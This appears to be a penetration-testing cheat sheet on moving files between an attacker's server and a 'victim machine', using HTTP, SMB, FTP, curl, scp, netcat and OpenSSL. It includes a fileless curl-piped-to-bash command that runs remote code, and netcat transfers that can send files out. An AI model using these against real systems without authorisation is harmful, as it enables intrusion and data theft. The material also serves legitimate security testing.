Skip to main content

Some Commands Require SUDO Privileges
Some Operations May Be Blocked Due to Firewall Rules
Note
  • Server - Basic Queries to setup a Running Server.
  • Target - These Operations should be done on the Victim Machine.
  • Interactive - We Log into a Remote Machine via RDP - SSH etc..
  • Non Interactive - Commands run in their own Subshell and this Shell is not Interactive. Opens to Execute but closes Immediately.

HTTP Server

:: Python[3]
python3 -m http.server <PORT>

:: Python[2]
python -m SimpleHTTPServer <PORT>
:: PHP
php -S 0.0.0.0:<PORT>
:: Ruby
ruby -run -ehttpd . -p<PORT>
:: Requires [http-server] NPM Package
:: Simple JavaScript HTTP Server
http-server [path] [options]

SMB

:: SMB-2: [-smb2support] 
:: Optional Arguments: [-user] [-password]
smbserver -smb2support "SHARE_NAME" "DIRECTORY" -user "Username" -password "Password"

:: SMB Server without Authentication
smbserver -smb2support "SHARE_NAME" "DIRECTORY"


CURL - WGET

:: Save Remote File
curl -O "http://IP:PORT/FILE.sh"

:: Authentication [HTTP - HTTPS]
curl -k -O -u "username:password" "http://IP:PORT/FILE.sh"

:: FTP Download
curl -O "ftp://anonymous:anonymous@IP:PORT/FILE.sh"
:: Fileless Method (Without Saving)
:: Best when Paired with Scripts [.sh]
curl https://<IP>/<File Name> | bash


HTTP

:: Requires [httpie] Package
:: Save Remote File
http --download "http://IP:PORT/FILE.sh"

:: Authentication [HTTP - HTTPS]
http -a "username:password" --download --verify=no "http://IP:PORT/FILE.sh"

FTP

:: Requires [pyftpdlib] Package 
:: Start The FTP Server
python3 -m pyftpdlib -p 21


SCP

:: Copy Remote File to the Local System
scp -P 22 machine@IP:/home/machine/FILE.sh "/home/user/OUTPUT.sh"

NETCAT

:: Receiver
nc -l -p <PORT> > <File Name>

:: Sender
nc -w 3 <IP> <PORT> < "Output"

OpenSSL

:: Create Self Signed Certificate
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem

:: Start the Server
openssl s_server -quiet -accept <PORT> -cert certificate.pem -key key.pem < <File Name>